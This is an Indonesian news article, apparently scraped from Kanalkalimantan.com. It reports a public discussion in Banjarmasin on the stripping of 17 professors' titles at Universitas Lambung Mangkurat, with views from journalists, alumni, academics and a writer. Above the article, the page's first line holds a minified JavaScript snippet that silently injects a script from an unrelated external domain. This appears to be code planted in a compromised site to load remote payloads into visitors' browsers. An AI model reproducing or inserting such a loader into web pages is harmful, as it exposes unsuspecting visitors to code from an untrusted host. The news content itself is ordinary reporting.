(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN — Pencopotan gelar 17 Guru Besar Universitas Lambung Mangkurat (ULM) menuai perhatian dari sejumlah pihak mulai dari akademisi, jurnalis, organisasi profesi, sastrawan, hingga alumni.
Mereka menuangkan sudut pandang masing-masing terkait bagaimana ULM bersikap menangani krisis dalam sebuah Diskusi Publik bertajuk “Profesor; Antara Fantasi, Harga Diri dan Kompetensi” di Rumah Alam Sungai Andai, Banjarmasin, Jumat (3/10/2025) siang.
Pandangan pertama datang dari Wakil Direktur Radar Banjarmasin, Toto Fachrudin. Salah satu redaktur di Radar Banjarmasin ini berpandangan, media massa tidak sertamerta gegabah dalam memberitakan kasus besar semacam ini.
Terlebih, sikap kampus yang berbelit-belit malah membuat pemberitaan semakin liar.
Baca juga: Pencopotan Gelar 17 Guru Besar Sempat Dibantah, Belakangan Diakui Rektor ULM
“Kami tidak sertamerta memberitakan. Perlu kroscek berkali-kali, rapat redaksi pun berulang, sampai akhirnya diputuskan untuk diturunkan. Itu pun tidak online, kami pilih cetak di koran,” ungkap Toto.
Toto menyebut perlu ada gerakan-gerakan berupa bukti sosial agar semua kabar berita jelas dan tidak simpang siur.
Pandangan lain dikemukakan oleh akademisi dan alumni ULM, Fahriannor. Baginya, jika ULM tanggap sejak awal maka kegaduhan bisa diantisipasi.
Selain itu, Fahriannor menilai, pencopotan guru besar pasti disebabkan karena alasan serius, misalnya pelanggaran etika, penyalahgunaan jabatan, sampai pemalsuan dokumen.
Baca juga: Kabar Pencopotan Guru Besar, Presma ULM: ULM Harus Selalu Terbuka
“Alumni juga ikut berperan menjaga marwah ULM. Tapi, kalau kampusnya sendiri gamang, bagaimana marwah itu bisa dipertahankan?” imbuhnya.
Senada, alumni ULM lain juga menjelaskan isu publik terkait proses akreditasi ULM.
“Kualitas akreditasi program studi melibatkan banyak stakeholders. Jadi tidak sertamerta dengan menambah guru besar, akreditasi langsung unggul,” tekannya.
Sementara itu, IBG Dharma Putra beranggapan kasus ini dipengaruhi faktor mentalitas, sebab gelar guru besar atau profesor acapkali digunakan sebagai jalan pintas untuk memperbaiki status sosial dan finansial.
Baca juga: Pagelaran Seni dan Musik Pariwisata Daerah di Lapangan Pahlawan Amuntai
“Pendapatan guru besar relatif lebih tinggi. Apalagi aturan pemerintah membuat serba mahal, wajar ada yang tergoda. Tapi jelas, guru besar itu bukan sekadar gelar. Ia harus dibarengi penelitian dan terobosan,” bebernya.
Mantan ASN Pemprov Kalsel ini turut melempar kritik terhadap budaya kampus yang sering membalikkan sebuah fakta.
“Di perguruan tinggi, orang yang salah sering ditutupi, tapi orang yang benar justru disebut pendusta,” jelas Dharma.
Di sisi lain, perwakilan Aliansi Jurnalis Independen (AJI) Persiapan Banjarmasin, Hari Tri Widodo menganggap adanya perbedaan pernyataan kampus membuat publik semakin kebingungan.
Baca juga: Donasi “Satu Buku, Seribu Cahaya Ilmu” Ponpes Tanwirul Furqan Martapura
“Tanggal 29 September, saat kami mencoba menghubungi pihak ULM, dikatakan tidak ada surat masuk. Tapi, pada siaran pers 3 Oktober diterangkan bahwa ULM menerima surat pada tanggal 29 September,” terangnya.
Tak hanya itu, sikap Wakil Rektor Bidang Akademik, Iwan Aflanie yang enggan memberikan keterangan lantaran dianggap mendahului rektor menjadikan kredibilitas kampus tertua di Kalimantan itu semakin runtuh.
“Menurut saya, transparansi kampus adalah jalan keluar dari krisis,“ pungkas Hari.
Lain lagi pandangan seorang sastrawan, Ahmad Azhar yang ikut melontarkan pendapatnya. Ia beranggapan belasan guru besar tersebut adalah korban sistem yang berbelit.
Baca juga: PLN UP2B Kalselteng Bantu Kebun Anggur Pokmas Cempaka Sari
“Tak bisa dipungkiri, sebagian guru besar itu adalah korban dari suatu sistem dan prosedur rumit atau sengaja diperumit oleh oknum yang punya kepentingan tertentu,” debutnya menilai.
Tuan rumah pemilik Rumah Alam, Noorhalis Majid menuturkan, profesor atau guru besar adalah pribadi yang punya pemikiran jernih akan dampak dari setiap perbuatan yang dilakukan.
“Seharusnya sebelum menerima, sudah berpikir panjang tentang akibatnya,” ucap Noorhalis.
Diskusi kali ini menarik kesimpulan bahwa kampus sepatutnya tidak diam dengan membiarkan media massa bekerja sendirian. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Hidangan Soto Banjar disajikan di rumah lanting apung itu ketika sang surya… Read More
KANALKALIMANTAN.COM, PARINGIN – Sepekan pascabanjir bandang menerjang Kecamatan Tebing Tinggi, Kabupaten Balangan, denyut kehidupan warga… Read More
KANALKALIMANTAN.COM, MARTAPURA - Genangan air di sejumlah kecamatan di Kabupaten Banjar masih belum menunjukkan penurunan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas seismik di daratan Kalimantan kembali terjadi melalui rangkaian gempa tektonik dangkal… Read More
KANALKALIMANTAN.COM, PARINGIN - Jembatan penghubung antara Desa Langkap dan Desa Raranum, Kecamatan Tebing Tinggi, Kabupaten… Read More
KANALKALIMANTAN.COM, PARINGIN – Pascabanjir bandang di Kabupaten Balangan memasuki hari keempat. Data terbaru menunjukkan jumlah… Read More
This website uses cookies.